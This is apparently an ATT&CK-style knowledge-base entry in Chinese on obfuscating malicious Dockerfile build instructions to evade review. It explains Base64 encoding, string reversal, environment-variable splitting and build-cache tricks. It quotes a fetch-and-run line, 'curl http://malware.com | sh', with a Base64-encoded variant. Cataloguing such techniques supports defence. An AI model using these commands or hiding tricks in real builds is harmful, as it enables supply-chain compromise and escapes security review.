在主机上构建镜像: 构建过程指令混淆

构建过程指令混淆(Build Instruction Obfuscation)是通过对Dockerfile中的恶意指令进行编码转换、环境变量嵌套等操作,逃避安全审查的技术。攻击者利用shell命令的多态性特征,将敏感操作(如下载恶意软件、提权配置)转换为复杂的表达式或拆分为多个无害指令,使得静态分析难以识别攻击意图。

该技术通过语法层和语义层的双重混淆实现匿迹。在语法层面,采用Base64编码、字符串反转、环境变量分段存储等方式隐藏关键指令,例如将curl http://malware.com | sh转换为$(echo "aHR0cDovL21hbHdhcmUuY29t" | base64 -d)。在语义层面,利用容器构建的环境特性(如多阶段构建、ARG参数动态替换)将恶意指令与合法操作交织,例如在软件编译参数中嵌入后门代码。攻击者还会滥用容器构建的缓存机制,通过条件判断语句(如检测特定文件是否存在)控制恶意指令的执行时机,使得安全监控系统在构建阶段无法捕获完整攻击链。这种混淆技术使得基于YARA规则或正则表达式的检测方法失效,需要动态分析构建过程才能发现异常。

ID: T1612.003
Sub-technique of:  T1612
Tactic: 防御规避
Platforms: Containers
Contributors: shrugginG
Created: 02 October 2020
Last Modified: 15 October 2024

Mitigations

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.

Detection

Coming soon